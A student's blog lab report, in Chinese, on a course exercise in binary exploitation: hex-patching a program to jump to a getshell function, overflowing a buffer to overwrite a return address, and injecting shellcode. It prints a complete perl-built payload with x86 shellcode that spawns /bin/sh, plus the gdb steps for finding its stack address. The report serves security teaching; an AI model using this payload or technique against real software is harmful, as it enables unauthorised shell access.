Exp1 PC平台逆向破解 20164323段钊阳

实验目标

学习两种方法运行代码片段,并学习如何注入运行任何Shellcode。

三个实验内容如下:

1.手工修改可执行文件,改变程序执行流程,直接跳转到getshell函数

2.利用foo函数的bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getshell函数

3.注入一个自己制作的shellcode并运行这段shellcode

做好前期的一些准备工作,替换更新换,导入公钥,安装execstack,包括pwn文件的权限(chmod a+x pwn1),成功运行pwn文件,然后复制三份文件,开始实验

 

 

 实验一.对pwn1文件进行反汇编 objdump -d pwn1,查看代码,发现主函数跳转的是8048491,我们需要把它改成804847d跳转到getshell函数,根据偏移量计算,把d7改成c3,vi pwn1 进入编辑界面 :%!xxd转成16进制格式  /e8 d7 跳转,输入i进行修改   :%!xxd -r 改成原格式,:wq进行保存

 

然后执行./pwn1发现修改成功,执行getshell

 实验2 对pwn2文件进行反汇编,了解程序的基本功能

我们需要输入字符串进行测试,看哪些会覆盖到返回地址,用gdb进行调试,发现1234覆盖到返回地址

但是我们输入的时候要输入16进制的数,所以需要构造输入字符串通过管道符|,作为pwn2的输入,实验成功

实验三.实验三有点麻烦,需要前期准备工作,因为我前期工作以为自己已经修改了文件堆栈,但由于重新复制了文件,做了十几次都没有成功,最后重新进行了准备工作,终于成功了,哭了。

构造payload:使用命令perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

  用A来填满缓冲区,以确认,寻找字符串中对应的的4个字节

   输入命令  (cat input_shellcode;cat) | ./20165335 注入攻击bof

   在另外一个终端进行gdb调试,先使用 ps -ef | grep 20165335寻找进程号

   用attach 命令调用·进程

   同时,反汇编,在函数return  esp指针变化执行后的ret语句出,设置断点

   使用info r esp 查看esp寄存器的值,找出shellcode的地址(地址就在指针的后面)

   最后,将找到的4个字节的地址填充进去,完成注入,再次运行程序,实现攻击

 

 

实验感想;做实验的时候真的碰到很多的问题,本来应该很早完成的,拖了很久,有时候因为自己很蠢输错了代码,结果一直错误。发现实验真的需要很细心,不过虽然这样,实验大概做了十几次了,对实验过程有了更深的了解,同时了解了实验的原理,收获还是很多的。

posted on 2019-03-15 13:40  dzy9  阅读(69)  评论(0编辑  收藏